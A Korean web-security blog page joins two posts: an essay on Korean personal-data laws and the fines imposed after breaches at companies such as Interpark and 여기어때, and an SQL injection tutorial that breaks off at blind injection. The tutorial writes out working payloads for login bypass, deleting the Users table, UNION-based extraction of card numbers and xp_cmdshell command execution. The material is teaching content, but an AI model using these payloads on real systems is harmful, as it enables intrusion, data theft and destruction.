[웹보안]검색결과, 4건
INTRO
근래 대부분의 해킹 사고는 개인정보 유출과 직결됩니다.
해커는 기업이 보유하고 있는 고객의 개인정보를 불법적으로 탈취하여 금품을 요구하거나 탈취한 개인정보를 또다른 불법적인 용도로 활용하게 됩니다.
따라서 기업의 해킹 사고는 (그들만의 문제가 아니라) 그 피해가 우리와 같은 일반 이용자게까지 미치게 되는 것입니다.
이에 현행 법제도에서는 기업이 제대로 관리/감독 하지 않아서 발생한 개인정보 유출 사고에 대해 과징금, 시정명령, 손해배상과 같은 행정처분을 부과할 수 있는 법적 근거를 마련해 두고 있습니다.
이번 글에서는 법에서 명시하고 있는 행정처분의 규정을 살펴보고, 그간 실제 발생한 해킹사고에서 기업에게 부과된 행정처분 사례를 알아 보겠습니다.
개인정보 보호 관련 법체계
개인정보보호와 관련된 가장 보편적인 법은 '개인정보보호법'이다.
개인정보보호법은 2011년 3월 29일 처음 제정/공포되어 6개월 뒤인 2011년 9월 30일에 첫 시행된 이후 지금까지 지속적인 법개정을 거듭하고 있다.
또한 정보통신망법(정보통신망 이용촉진 및 정보보호 등에 관한 법률)과 신용정보법(신용정보의 이용 및 보호에 관한 법률) 등에서도 개인정보 활용과 보호에 대한 법적 규정을 따로 마련해 두고 있다.
특별법 우선 원칙
법은 크게 일반법과 특별법으로 나뉜다.
특정한 대상(지역/사람/사항 등)에 제한없이 적용되는 법을 일반법이라 하고, 특정한 지역/사람/사항 등에 국한하여 적용되는 법을 특별법이라 한다.
예를들어, 모든 지역의 모든 사람에게 공통으로 적용되는 형법, 민법과 같은 법은 일반법에 해당하며, 특정 대상에 국한하여 적용되는 김영란법, 아동청소년법 등은 특별법에 해당한다.
특별법은 일반법에 우선하여 적용되는데 이를 '특별법 우선 원칙'이라 한다.
개인정보보호법 6조에서도 다음과 같이 법률간 관계를 규정하고 있다.
개인정보보호법 제6조(다른 법률과의 관계) (법조문 바로가기)
개인정보 보호에 관하여는 다른 법률에 특별한 규정이 있는 경우를 제외하고는 이 법에서 정하는 바에 따른다.
다시 말해 일반법과 특별법에 중복된 규정이 존재할 경우, 특별법이 우선 적용되며 특별법에 존재하지 않는 규정에 대해서만 일반법이 적용되는 체계이다.
앞서 설명한 개인정보 보호 관련 법들도 이런 체계를 따른다.
개인정보보호법은 개인정보를 다루는 곳이라면 누구에게나 구분없이 적용되는 일반법이며, 정보통신사업자에게 적용되는 정보통신망법은 특별법에 해당한다.
[출처: 금융위원회(2016)]
상단의 그림과 같이 기업의 업종에 따라 법 적용이 구분된다. 따라서 해킹 사고로 인해 개인정보가 유출된 경우, 기업이 어떤 처벌을 받게 되는지 알고 싶을 경우에는 해당 기업이 어떤 법에 적용을 받는지 파악해야 한다.
이 글에서는 정보통신망법에 초점을 맞춰 알아 볼 것이다.
개인정보 유출에 대한 법적 규제(행정처분 근거 법령)
개인정보 유출로 이어지는 해킹 사고 발생시, 해당 기업을 규제할 수 있는 법적 근거에 대해 알아보자. 다음 그림은 개인정보보호법과 정보통신망법을 기준으로 적용 가능한 법적규제와 조문을 보여준다.
행정처분 중 과징금 부과에 대한 법규정을 살펴보면 다음과 같이 기술하고 있다.
개인정보보호법 제34조의 2(과징금의 부과 등) (법조문 바로가기)
① 행정안전부장관은 개인정보처리자가 처리하는 주민등록번호가 분실ㆍ도난ㆍ유출ㆍ위조ㆍ변조 또는 훼손된 경우에는 5억원 이하의 과징금을 부과ㆍ징수할 수 있다. 다만, 주민등록번호가 분실ㆍ도난ㆍ유출ㆍ위조ㆍ변조 또는 훼손되지 아니하도록 개인정보처리자가 제24조제3항에 따른 안전성 확보에 필요한 조치를 다한 경우에는 그러하지 아니하다.
정보통신망법 제64조의3(과징금의 부과 등) (법조문 바로가기)
① 방송통신위원회는 다음 각 호의 어느 하나에 해당하는 행위가 있는 경우에는 해당 정보통신서비스 제공자등에게 위반행위와 관련한 매출액의 100분의 3 이하에 해당하는 금액을 과징금으로 부과할 수 있다.
...
6. 이용자의 개인정보를 분실·도난·유출·위조·변조 또는 훼손한 경우로서 제28조 제1항 제2호부터 제5호까지(제67조에 따라 준용되는 경우를 포함한다)의 조치를 하지 아니한 경우
...
핵심은 이렇다.
다른 사람(이하 이용자)의 개인정보를 수집하고 이를 활용하는 자(이하 서비스 제공자)는 이용자의 개인정보를 안전하게 보관하고 처리해야 할 의무가 있다.
만일 (1)개인정보 유출 사고가 발생 했을 때, (2)서비스 제공자가 개인정보 보호를 위한 안전조치의 의무사항을 소홀히 했을 때, 과징금을 부과할 수 있도록 한 것이다.
즉 아래의 두 조건이 모두 만족되었을 때, 과징금 부과가 가능한 것이다.
서비스 제공자 입장에서는 개인정보가 유출되었다 할지라도, 개인정보 보호를 위한 안전 조치를 충실히 했다는 것이 증명되면 과징금 처분을 감경받거나 면제 받을 수 있다는 말이 된다.
그렇다면, 서비스 제공자는 어떤 안전조치 의무사항을 준수해야 할까? 이 역시 법과 시행령을 통해 구체적으로 그 기준을 명시하고 있다.
정보통신망법 기준으로 보면, '제28조(개인정보의 보호조치) 제1항 제2호~제5호'까지의 조치를 해야 한다고 명시하고 있다.
정보통신망법 제28조(개인정보의 보호조치) (법조문 바로가기)
① 정보통신서비스 제공자등이 개인정보를 처리할 때에는 개인정보의 분실ㆍ도난ㆍ유출ㆍ위조ㆍ변조 또는 훼손을 방지하고 개인정보의 안전성을 확보하기 위하여 대통령령으로 정하는 기준에 따라 다음 각 호의 기술적ㆍ관리적 조치를 하여야 한다.
...
2. 개인정보에 대한 불법적인 접근을 차단하기 위한 침입차단시스템 등 접근 통제장치의 설치ㆍ운영
3. 접속기록의 위조ㆍ변조 방지를 위한 조치
4. 개인정보를 안전하게 저장ㆍ전송할 수 있는 암호화기술 등을 이용한 보안조치
5. 백신 소프트웨어의 설치ㆍ운영 등 컴퓨터바이러스에 의한 침해 방지조치
...
또한 28조의 각호에 대한 기술적, 관리적 조치에 대한 구체적인 안전조치 방법은 동법 '시행령 제15조(개인정보보호조치)'에 따를 것을 규정하고 있다.
서비스 제공자는 해당 법과 시행령을 기준으로 안전조치 의무를 충실히 해야만 개인정보 유출 사고가 발생해도 무거운 처벌을 받지 않게 된다.
과징금 산정 기준
서비스 제공자에게 금전적인 행정처분은 과징금과 과태료를 통해 이뤄진다.
과징금과 과태료 모두 법을 통해 그 산정 기준을 명시하고 있으며, 과태료 보다는 과징금이 더 무거운 처분에 해당하고 금액도 훨씬 높게 책정된다.
각 법에서는 다음과 같이 과징금 부과 기준을 규정하고 있다.
개인정보보호법(제34조의 2)
: 주민등록번호 유출시 5억원 이하의 과징금 부과정보통신망법(제64조의3)
: 위반행위와 관련한 매출액의 100분의 3 이하에 해당하는 금액을 과징금으로 부과
정보통신망법의 경우 매출액이 클 수록 과징금 금액도 비례해서 높게 책정되도록 규정하고 있다.
과징금의 구체적인 산정기준을 명시하고 있는 시행령을 살펴보면 다음과 같다.
정보통신망법 시행령 제69조의2(과징금의 산정기준 등) (법조문 바로가기)
① ...(생략) "위반행위와 관련한 매출액"이란 해당 정보통신서비스 제공자등의 위반행위와 관련된 정보통신서비스의 직전 3개 사업연도의 연평균 매출액을 말한다.
종합해보면, 직전 3개년도 연평균 매출액의 최대 3%까지 과징금을 부과힐 수 있다는 말이다.
과징금의 가중 및 감경
법 위반행위의 동기 및 내용, 위반의 정도와 결과 등을 고려하여 과징금을 가중하거나 감경할 수 있다.
또한 해킹 사고로 개인정보가 유출되었을 경우, 자진 신고하면 추가 감경을 해 준다. 관례로 보면 통상 10% 정도 추가 감경을 해 준다.
과징금의 구체적인 산정절차와 가중/감경에 대한 상세한 규정은 정보통신망법 시행령 제69조의2 제4항에 명시한 [별표 8]에서 확인할 수 있다
-> (바로가기) [별표 8] 과징금의 산정기준과 산정절차(제69조의2제4항 관련)
개인정보 유출 통계
지난해(2018년) 행정안전부와 KISA(한국인터넷진흥원)이 공동발간한 '개인정보 실태점검 및 행정처분 사례집'에서는 개인정보보보법이 시행(2011년 9월) 된 이후부터 2017년 말까지의 개인정보 유출 통계를 보여준다.
공공기관과 민간 기업을 합해 총 1억 3,254만건이 유출되었다. 2018년 데이터와 신고하지 않은 건수 까지 합한다면 더 높은 수치를 예상해 볼 수 있다.
5천만명 인구에 1억을 훨씬 상회하는 건수로 유출되었으니 적지 않은 수이다. 물론 중복이 존재하겠지만, 그래도 거의 대부분의 국민의 개인정보가 털렸다고 봐야 되지 않을까 한다.
잊을만 하면 터지는 개인정보 유출 사고와 대량의 유출 건수는, 역설적으로 개인정보 유출에 대한 경각심을 둔화 시키는 결과로까지 이어지는 듯 하다. 대부분의 사람이 자신의 개인정보가 불법적인 유통 경로로 거래되고 있다고 생각할 것이다.
개인정보 보호를 위해 개개인의 신중함도 필요하지만, 그에 앞서 개인정보를 활용하는 서비스 제공자의 보안의식 고취와 견고한 안전조치가 선행되어야 할 것이다.
동(同) 자료의 또 다른 통계(유출 사고 유형별 현황)을 보면 개인정보 유출 사고의 원인으로 해킹이 가장 많이 차지한다는 것을 확인할 수 있다.
해킹 피해(개인정보 유출)에 따른 행정처분 사례
얼마전 다음과 같음 메일을 한통 받았다. 보자 마자 "또 털렸군!"하며 한숨이 나왔다.
증말이지...
(혹시나 잊을까봐 그러는지) 잊을만 하면 '니 정보 털렸으니 미안해~'라는 메일이 온다.
원래 사고라는 것이, 아무리 대비한다고 해도 발생하기 마련이라고는 하지만 과연 그런 불가항력적인 요인만 있을까? 서비스 제공자의 보안의식에 문제는 없을까? 과연 수익 대비 보안에 적정한 투자를 하고 있을까? 의아 스럽다.
사실 이 글을 쓰게 된 첫번째 동기도, 이참에 그동안의 굵직한 보안사고에 대한 법적 처분 사례를 확인해 보기 위함이었다. 과연 어떤 처분을 해 왔길래 늘 비슷한 보안 사고가 반복되는지 궁금해서이다.
지금부터 그간 발생한 (해킹 사고로 인한) 개인정보 유출에 대해 행정처분한 사례를 알아보자.
하나투어, 주민등록번호 유출 사고
2017년 9월, 해킹 사고로 인해 49만명의 개인정보가 유출되었고 이 중에서 42만명 가량은 주민등록번호가 포함되어 있었다.
개인적으로는, 2017년 8월 약 한달간 하나투어 구조진단 컨설팅(해당 건과 관련 없는 부문의 컨설팅)을 나갔었는데 바로 다음달에 사고가 터져 기억이 선명하다.
방통위가 발표한 정확한 피해 규모는 다음과 같다. 주민등록번호가 털렸으니 사태가 꽤 심각했다.
[출처: 방송통신위원회]
이 사건은 개인정보보호법이 적용된 사례로, 주관부처인 행정안전부는 개인정보보호법에 근거하여 다음과 같은 행정처분을 내렸다. 참고로 이 사건은 개인정보보호법 제정 이래 처음으로 과징금이 부과된 사례라고 한다.
(과징금 및 과태료)
- 과징금 3억 2,725만원, 과태료 1,800만원 부과
(시정조치 명령)
- 위반행위 즉시 중지
- 대표(CEO) 및 책임있는 임원(CPO 등)의 특별교육 이수
- 개인정보보호 책임자 및 취급자 대상 정기 교육 실시 및 재발방지 대책 수립
- 처분 통지 날로 부터 30일 이내 시정명령 이행결과 제출
(징계 권고)
- 처분 통지 날로부터 2개월 이내에 대표 및 책임있는 임원에 대해 징계할 것을 권고
본 건의 행정처분 사항의 보다 상세한 내용은 다음의 의결 내용을 확인해 보기 바란다.
> (주)하나투어, 개인정보 유출사고로 행정처분 의결
메가스터디, 100만 개인정보 유출사고
2017년 7월, 메가스터디에서는 해킹 사고로 인해 이용자의 아이디, 이름, 생년월일 등 회원정보 123만3,859건(중복제외 111만7227건)의 개인정보가 유출되었다.
방송통신위원회는 정보통신망법에 근거하여 다음과 같이 행정처분을 내렸다.
(과징금 및 과태료)
- 과징금 2억 1,900만원(자신신고로 과징금 추가 감경 10% 적용), 과태료 1,000만원 부과
(시정조치 명령)
- 위반행위 즉시 중지
- 재발 방지대책 수립
- 시정명령 처분사실 공표
자세한 사항은 다음을 확인하기 바란다.
> 2018년 제33차 위원회 결과
여기어때, 숙박정보 및 개인정보 유출 사고
2017년 3월, 숙박앱 '여기어때'는 SQL 인젝션 공격으로 인해 회원들의 숙박 예약 정보와 개인정보가 유출되었다. 서비스 이용자의 숙박예약정보 3,239,210건과 회원정보 178,625건이 유출되었으며 숙박 예약을 한 회원 대상으로 4,817건의 음란문자가 전송되었다.
[출처: 방송통신위원회]
방송통신위원회는 정보통신망법에 근거하여 다음과 같이 행정처분을 내렸다. 참고로 이 사건은 개인정보 유출사고 최초로 책임자 징계를 권고한 사례하고 한다.
(과징금 및 과태료)
- 과징금 3억 100만원, 과태료 2,500만원 부과
(시정조치 명령)
- 위반행위의 중지 및 재발방지대책 수립
- 대표자 및 책임있는 임원에 대한 징계권고, 그 결과를 방통위에 통보
- 시정명령 처분사실 공표
자세한 사항은 다음을 확인하기 바란다.
> 방통위, ㈜위드이노베이션 개인정보 유출사고 엄정 제재
인터파크, 2,500만 개인정보 유출사고
2016년 5월, APT 공격에 의해 인터파크 회원정보가 그야말로 대거 유출되었다.
[출처: 방송통신위원회]
엄청난 규모의 개인정보 유출에 걸맞게 과징금도 역대급으로 높게 책정되었다. 개인정보 유출 사고와 관련해 최대 징수액으로 기록했다. 당시 정보통신망법이 개정(매출액 3%)되어서 법 규정에서의 과징금 상한이 대폭 올라갔기 때문에 가능한 수치였다.
인터파크는 아무리 법 개정이 되었어도 기존의 처분에 비해 너무 과도하다며 형평성 및 비례의 원칙에 어긋난다고 입장을 밝힌바 있다. 인터파크는 행정처분에 불복 소송을 걸었고 1심에서 패소하였다. 이후 재항고를 하여 현재 2심 진행중이라 한다.
(과징금 및 과태료)
- 과징금 44억 8천만원, 과태료 2,500만원 부과
(시정조치 명령)
- 재발방지대책 수립 및 시행
자세한 사항은 다음을 확인하기 바란다.
> 방통위, ㈜인터파크 개인정보 유출사고 엄정 제재
KT, 연속된 개인정보 유출사고
KT는 2012년에 전산망 해킹으로 인해 870만명의 개인정보를 유출한데 이어, 2014년에도 홈페이지가 해킹을 당해 1,170만건의 개인정보가 유출되었다. 2012년 당시 7억 5천만원 가량의 과징금을 처분 받았고 2014년 유출사고에서는 7천만원 과징금 처분을 받았다.
KT는 2004년에도 개인정보 유출사고가 발생한 것을 포함하면 총 3차례나 사고가 반복된 셈이다.
근데 재밌는 것은, 2014년 사건은 과징금 처분 이후 KT가 불복하여 소를 제기했고 결국 법원으로부터 '7천만원 과징금 취소 판결'을 받아 법원이 행정부(방통위)의 처분을 뒤엎은 결과가 나왔다. 현재 2심 진행중이라 한다.
SK 컴즈, 옥션 대규모 개인정보 유출 사고
2008년 옥션에서는 해킹으로 인해 1,863만건의 개인정보가 유출되었다. 2011년에는 SK 컴즈의 네이트,싸이월드가 해킹을 당해 3,500만건의 개인정보가 유출되었다.
두 경우 모두 행정처분은 따로 없었다. 피해를 받은 이용자와 시민단체 등에 의해 손해배상 소송이 진행되었는데, 옥션의 경우 대법원에서 그(옥션)의 손을 들어줘 최종 원고 패소하였다. SK컴즈의 경우 20여건의 소송이 진행되었는데 일부 승소하고 일부 패소했다고 한다.
기타
앞서 사례들을 포함해서 다음과 같이 정리를 해 보았다.
표를 보면, 관련 법이 제정되기 전에는 행정처분 자체가 없었다는 것을 알 수 있다. 그러나 법이 제정되고 갈수록 강화되어 행정처분의 수위도 점점 높아지고 있는 것 같다.
하지만 과연 피해 규모에 대비해서 적정한 처분인가? 하는 생각이 드는 부분도 있다.
논란의 여지가 분명 있을 것이다.
모든 비즈니스 분야에 있어 과도한 규제나 징계는 산업을 위축시켜 발전을 저해시킬 수 있다. 하지만 모든 것이 통신으로 연결되는 초연결 사회로 갈수록 보안 사고는 엄청난 피해를 야기할 것이다.
보안에 대한 경각심을 일깨우고 기업 스스로가 자발적으로 보안에 적절한 투자할 수 있는 제도/사회/문화적 환경 개선이 시급하다는 생각이 든다.
개인적으로는, 잘못을 했을 때 벌을 주는 것도 필요하지만, 잘 했을 대 상을 주는 법안도 나오길 기대한다. 기업이 보안 강화에 사용하는 것이 비용이 아니라 투자가 될 수 있도록 말이다.
'SW개발' 카테고리의 다른 글
개인정보의 암호화 대상 및 방법 (4) | 2020.07.28 |
---|---|
The Scale Cube (규모 확장성 모델) (6) | 2019.02.21 |
[웹보안] SQL Injection (5) | 2019.01.28 |
[웹보안] 브루트 포스(BRUTE FORCE) 공격 (8) | 2019.01.23 |
[웹보안] 로컬 환경 셋팅과 툴 설치 (5) | 2019.01.17 |
SQL 인젝션은, 웹 보안 하면 가장 대중적으로 언급되는 공격 기법입니다.
XSS와 함께 쌍두마차급으로 유명한 기법이지요. 꽤 오래전에, 이 공격에 대한 글을 한번 다룬적이 있는데요. 벌써 12년도 더 전이네요. 그때나 지금이나 SQL 인젝션의 공격기법이든 방어기법이든 크게 달라진 것이 없어 보입니다.
(대부분의 웹해킹이 그렇듯이) 웹 개발의 기본을 잘 이해하고 있다면, SQL 인젝션은 쉽게 이해하고 시도해 볼 수 있으리라 판단됩니다. 이 해킹 공격을 도와주는 자동화 툴도 쉽게 구할 수 있고요.
SQL 인젝션은 손쉽게 공격을 해 볼 수 있는 반면에 공격이 성공했을때그 파급력을 상당할 수 있습니다.
지금부터 알아볼 사례들을 보면, 이 진부한 공격기법이 아직까지 기승을 부리고 있다는 것을 알 수 있습니다.
SQL 인젝션 해킹 사례
먼저 SQL 인젝션으로인한 해킹 사례를 집어 보자. 국내의 비교적 최근에 발생한 가장 유명한 두 가지 사례를 먼저 알아보자.
사례1) '여기어때' 해킹
> https://news.joins.com/article/21628794
2017년 3월, 유명한 숙박앱인 '여기 어때'가 해킹을 당했다. 대량의 고객 정보와 고객의 투숙정보가 해커에게 유출되었으며 이 중 수천명에게 '모텔서 즐거우셨나요?'라는 식의 협박성의 민망한 문자가 전송되었다고 한다.
기사에 따르면, 이 사건은 보안이 허술한 특정 웹 페이지를 대상으로 SQL 인젝션 공격을 시도해서 관리자 세션을 탈취하고 이 정보로 관리 페이지에 위장 로그인하여 고객의 개인정보를 유출했다고 한다.
> ‘여기어때’ 개인정보 99만건 유출…‘SQL인젝션’ 공격이 원인
사례2) '뽐뿌' 해킹
'여기 어때' 사건으로부터 약 2년전(2015년 9월), 커뮤니티 사이트로 유명한 '뽐뿌'에서도 SQL 인젝션 공격으로 200만명 가량 개인정보가 유출된 사례가 있었다.
> http://www.korea.kr/policy/pressReleaseView.do?newsId=156081058
이러한 개인정보 유출은 해당 사이트에 대한 피해뿐만 아니라, 이미 유출된 개인정보가 언제 어떤 식으로 다시 악용되어 2차 피해로 이어질지 알 수 없다는 것이 더욱 문제이다.
사례3) 해외 사례
SQL 인젝션 해킹 사례는 비단 국내에만 있는 것이 아니다.
2015년, 해커그룹 어나미머스가 WTO 웹사이트를 SQL 인젝션으로 공격해 각 나라의 직원 개인정보를 탈취한 사건이 있었다.
> 어나니머스, WTO 웹사이트 공격…직원 정보유출
또한 2014년, 영국의 유명 여행 웹사이트가 SQL 인젝션 공격으로 신용카드 번호가 유출되었다고 한다.> 英정보위원회 SQL인젝션 공격 경고…피해사례 발생
그리고 2011년에는 소니가 해커집단(Lulzsec)으로부터 조롱당한 일이 있었는데, 이때도 역시 SQL 인젝션 기법이 사용되었다고 한다.
> 미국 FBI, 소니 해킹 용의자 검거
이외에도 조금만 찾아보면 SQL 인젝션으로 인한 다양한 해킹 사례를 확인할 수 있다.
SQL 인젝션 공격 비중
앞서 XSS와 함께 SQL 인젝션은 쌍두마차 격으로 웹에서 빈번히 일어나는 해킹 기법이라고 했다. 2016년 펜타시큐리티에서 발표한 '웹 공격 동향 보고서'를 살펴 보자
전체 해킹 시도 중, SQL 인젝션이 45% 즉 절반에 가까운 비중을 차지했다. 펜타시큐리티 측은 2016년 발생한 웹공격 사례 4건 중 3건이 SQL 인젝션과 XSS 기법으로 수행됐다는 조사결과를 발표했다.
그리고 글로벌 CDN업체인 CDNetworks의 '2016년 4분기 웹 공격 분석 보고서'를 보면 SQL 인젝션이 두 번째로 많이 시도되는 해킹 기법이라는 조사 결과를 내놨다.
SQL 인젝션의 위상(?)은, OWASP TOP 10에서도 확인할 수 있다.
OWASP Top 10은 2013년에 이어 개정한 2017년 버전에서도 '인젝션'이 랭킹 1위로 포지셔닝 하고 있다. 물론 OWASP에서 말하는 인젝션은 SQL 인젝션을 포함한 모든 유형의 인젝션을 일컫는다.
SQL 인젝션 개념
SQL 인젝션은, 웹 애플리케이션이 데이터베이스와 연동하는 모델에서 발생 가능하다.
이용자의 입력값이 SQL 구문의 일부로 사용될 경우, 해커에 의해 조작된 SQL 구문이 데이터베이스에 그대로 전달되어 비정상적인 DB 명령을 실행시키는 공격 기법이다.
[출처: 행정안전부 시큐어 코딩 가이드]
SQL 인젝션 공격 목적 및 영향
SQL 인젝션은 DB에 비정상적인 쿼리가 실행되도록 하여 다음과 같은 목적을 달성하고자 한다.
1. 인증 우회
SQL 인젝션 공격의 대표적인 경우로, 로그인 폼(Form)을 대상으로 공격을 수행한다. 정상적인 계정 정보 없이도 로그인을 우회하여 인증을 획득할 수 있다.
2. DB 데이터 조작 및 유출
조작된 쿼리가 실행되도록 하여, 기업의 개인정보나 기밀정보에 접근하여 데이터를 획득할수 있다. 또한 데이터 값을 변경하거나 심지어 테이블을 몽땅 지워버릴 수도 있다.
3. 시스템 명령어 실행
일부 데이터베이스의 경우 확장 프로시저를 호출하여 원격으로 시스템 명령어를 수행할 수 있도록 한다. 시스템 명령어를 실행할 수 있다면 해당 서버의 모든 자원에 접근하고 데이터를 유출, 삭제 할 수 있다는 말이 된다.
SQL 인젝션 공격 원리와 유형
SQL 인젝션은 데이터베이스 명령어인 SQL 쿼리문에 기반하여 공격을 수행한다. 공격에 이용되는 쿼리문은 문법적으로는 지극히 정상적인 SQL 구문이다. 다만 실행되지 말아야 할 쿼리문이 실행되어 공격에 이용되는 것이다.
SQL 인젝션은 최소한 다음의 조건을 충족해야 공격이 가능하다.
조건 1) 웹 애플리케이션이 DB와 연동하고 있다.
조건 2) 외부 입력값이 DB 쿼리문으로 사용된다.
웹 애플리케이션이 위 두 조건 중, 하나라도 충족하지 않는다면 SQL 인젝션 공격은 무용지물이 될 것이다. 그러나 현재의 대부분 웹 애플리케이션은 위 두가지 조건을 대부분 충족한다. 그래서 대부분의 경우 SQL 인젝션은 유효한 공격 기법이 될 것이다.
SQL 인젝션 공격 유형과 공격 기법
1. (일반적인) SQL 인젝션
굳이 '일반적인'이라는 용어는 붙일 필요가 없으나, 이어서 소개할 Blind SQL 인젝션과 구분하기 위함이다. 일반적인 SQL 인젝션 공격은 다음의 형태로 수행된다.
1) 쿼리 조건 무력화(Where 구문 우회)
Where 구문은 SQL에서 조건을 기술하는 구문이다. Where 조건에 기술된 구문이 '참(true)'이 되는 범위만 쿼리 결과로 반환된다.
해커는 이 Where 조건이 무조건 참이 되도록 쿼리를 조작하여 Where 조건을 우회하게 만든다.
예를 들어, 다음과 같이 로그인을 처리하는 동적쿼리가 있다고 가정하자. 외부 입력값인 UserID와 Password가 쿼리문의 일부로 사용되고 있다.
SQL = "Select * From Users"
+ " Where UserID = '"+ UserID +"' And Password = '" + Password + "'"
먼저 SQL 구문의 주석(Comment)을 의도적으로 삽입하여 Where 조건을 무력화 시킬 수 있다. 다음과 같이 UserID 값에 주석을 삽입하면 주석 이하의 구문은 실행되지 않게 되어 admin이라는 계정의 패스워드를 몰라도 인증을 통과하게 된다. (admin이라는 ID는 이미 알고 있다고 가정한다. 그리고 -- 는 MS SQL Server의 주석이다. MySQL의 경우 #을 사용해야 한다.)
[ 외부 입력값 ]
UserID: admin'--
Password: 아무거나
[ 실행되는 쿼리문 ]
Select * From Users Where UserID = 'admin'-- And Password = '아무거나'
또한 항상 참이 되도록 Boolean 식을 구성하여 Where 조건을 무력화 시킬 수 있다. 다음과 같이 Password 값에 참(true)인 조건이 or 로 연결되도록 삽입하면 or 조건으로 인해 쿼리의 결과가 무조건 참이되어 없는 계정과 다른 패스워드라 할지라도 (여기서는 test라는 계정은 실제 db에 없는 계정임) 인증을 통과하게 된다.
[ 외부 입력값 ]
UserID: test
Password: 1234' or '1'='1
[ 실행되는 쿼리문 ]
Select * From Users Where UserID = 'test' And Password='1234' or '1'='1'
이와 같은 방식을 이요하여 인증을 우회하기도 하지만, 직접 데이터베이스 내용을 조작할 수도 있다. 다음과 같이 ;(콜론)으로 명령어를 연결하면 한 줄로 된 두 개이상의 명령어를 연속해서 기입할 수 있는데 여기에 테이블을 삭제하거나 수정하는 조작된 쿼리문을 삽입할 수 있다.
[ 외부 입력값 ]
UserID: admin' ; DELETE From Users--
Password: 아무거나
[ 실행되는 쿼리문 ]
Select * From Users Where UserID = 'admin' ; DELETE From Users -- And Password='아무거나'
2) 고의적 에러 유발후 정보 획득
또다른 기법으로는 의도적으로 SQL 구문 에러를 유발하여 웹 애플리케이션이 내뱉은 오류 정보에 기반하여 유용한 정보를 알아 차린다. 그 정보는 연속되는 또 다른 공격의 소재로 사용되기도 한다.
기본적으로 웹 애플리케이션은 쿼리 수행 중 오류가 발생하면 DB오류를 그대로 브라우저에 출력한다. 이 오류 정보를 통해 DB의 스키마 정보나 데이터가 유출될 수 있다.
가령, SQL 쿼리문에서 UNION 은 두 테이블의 결과를 합치는 명령어이다. UNION으로 합쳐지는 두 테이블은 컬럼 갯수가 일치해야만 오류가 나지 않는다. 아래와 같이 컬럼 1개만 가진 대상 테이블을 가정하여 UNION 구문을 삽입해 보자.
[ 외부 입력값 ]
UserID: test' UNION SELECT 1 --
Password: 아무거나
[ 실행되는 쿼리문 ]
Select * From Users Where UserID = 'test' UNION SELECT 1 -- And Password='아무거나'
테스트용 Users 테이블은 4개의 컬럼으로 구성되어 있다. 따라서 위의 쿼리문이 실행되면 다음과 같은 오류가 발생하여 브라우저에 노출된다.
"UNION, INTERSECT 또는 EXCEPT 연산자를 사용하여 결합된 모든 쿼리의 대상 목록에는 동일한 개수의 식이 있어야 합니다." (SQL Server 기준)
컬럼 수가 몇개인지 모르는 해커는 하나부터 둘,셋,.. 늘리면서 입력을 반복해서 시도해 볼 것이다. 마침 4개의 UNION SELECT를 하는 순간 오류가 발생하지 않음을 알고 이 기능의 원본 쿼리가 반환하는 컬럼의 수가 4개인 것을 알게 된다. (참고로 MS SQL Server에서는 UNION 되는 컬럼끼리 데이터 타입이 충돌나면 타입 오류를 발싱시키므로 컬럼 타입을 맞출 필요가 있다.)
[ 외부 입력값 ]
UserID: test' UNION SELECT 1,1,1,1 --
Password: 아무거나
[ 실행되는 쿼리문 ]
Select * From Users Where UserID = 'test' UNION SELECT 1,1,1,1 -- And Password='아무거나'
이렇게 알아낸 컬럼 수를 기반으로 다음과 같이 시스템 테이블의 정보를 조회해 볼 수 있다. 다음의 쿼리가 실행되도록 SQL 구문을 주입하면 현재 데이터베이스에 존재하는 모든 테이블 목록을 볼 수 있다.
(아래 쿼리는 SQL Server 기준이다. 만일 MySQL이라면 information_scheme 데이터베이스의 테이블들을 사용하면 된다.)
Select * From Users Where UserID = 'test' UNION SELECT name, object, 1,1 FROM sys.tables -- And Password='아무거나'
위와 같이 테이블 리스트 조회에 성공했다면, 테이블 목록 중 구미가 당기는 테이블을 선택해서 그 테이블에 저장된 데이터를 획득할 수 있다. 다음의 예에서는 결제(Payment)로그가 담긴 PaymentLog 테이블의 UserID와 카드 번호 유출을 시도하는 쿼리이다.
Select * From Users Where UserID = 'test' UNION SELECT UserID, CardNo, 1, 1 FROM PaymentLog -- And Password='아무거나'
물론 이렇게 공격에 성공하려면 컬럼명도 알고 때론 타입도 알아야 할 경우가 생긴다. 과거에 정리했던, 아래의 글에서 컬럼명을 알아내거나 타입을 알아내는 방법을 참고하도록 한다.
3) 시스템 명령어 실행
MS SQL Server의 경우 시스템 명령을 실행할 수 있는 확장 프로시저를 제공한다. xp_cmdshell 프로시저를 이용한다. 다음과 같이 UserID 값에 ;(콜론)으로 xp_cmdshell 실행 구문을 연결하고 이후 구문은 주석처리 되도록 하여 윈도우 C 드라이버를 탐색하는 명령을 보낸다. 이 계정에 유효한 권한이 주어져 있다면 어떤 시스템 명령도 내릴 수 있게 된다.
[ 외부 입력값 ]
UserID: admin' ; EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'--
Password: 아무거나
[ 생성된 쿼리문 ]
Select * From Users Where UserID = 'admin' ; EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'-- And Password='아무거나'
참고로 각 DBMS마다 SQL 구문이 조금식 차이가 나므로, SQL 인젝션 공격시 해당 DBMS가 지원하는 구문을 잘 알고 사용해야 한다. 다음의 사이트에서 각 DBMS별로 서로 상이한 구문을 상세히 안내하고 있으니 참고 바란다.
2. Blind SQL 인젝션
앞서 일반적인 SQL 인젝션 공격에서는 쿼리 조건을 무력화하여 인증을 우회하거나, 출력된 에러 내용에 기반하여 DB의 스키마 정보를 획득한 후, 쿼리 결과에 정보를 붙여서(UNION) 데이터를 유출하거나 시스템 명령어를 삽입하는 형태로 공격이 진행되었다.
그러나 만일 공격하는 대상 웹페이지가 어떠한 오류도 출력하지 않고 쿼리 결과 리스트도 제공하지 않는다면 이러한 공격 패턴으로는 해킹에 성공하기가 쉽지 않다. (다시말해, 에러 내용으로 DB 정보를 유추할 수도 없고, 쿼리 결과 데이터를 제공하지 않기 때문에 UNION 같은 쿼리를 삽입하여 데이터를 붙여 볼 수도 없는 것이다.)
이럴 경우, 유용하게 사용할 수 있는 공격 기법이 바로 Blind SQL 인젝션이다.
한마디로, Blind SQL 인젝션은 쿼리 결과의 참/거짓으로부터 DB값을 유출해 내는 기법이다.
이 공격을 수행하려면, 먼저 웹 애플리케이션에서 쿼리 결과에 대해 참/거짓을 반환하는 요소를 찾아야 한다. 예를 들어 'ID 찾기'나 '게시판 검색'과 같은 기능에서 참/거짓을 판별하는 요소를 찾을 수 있다.
1) Boolean-based Blind 공격
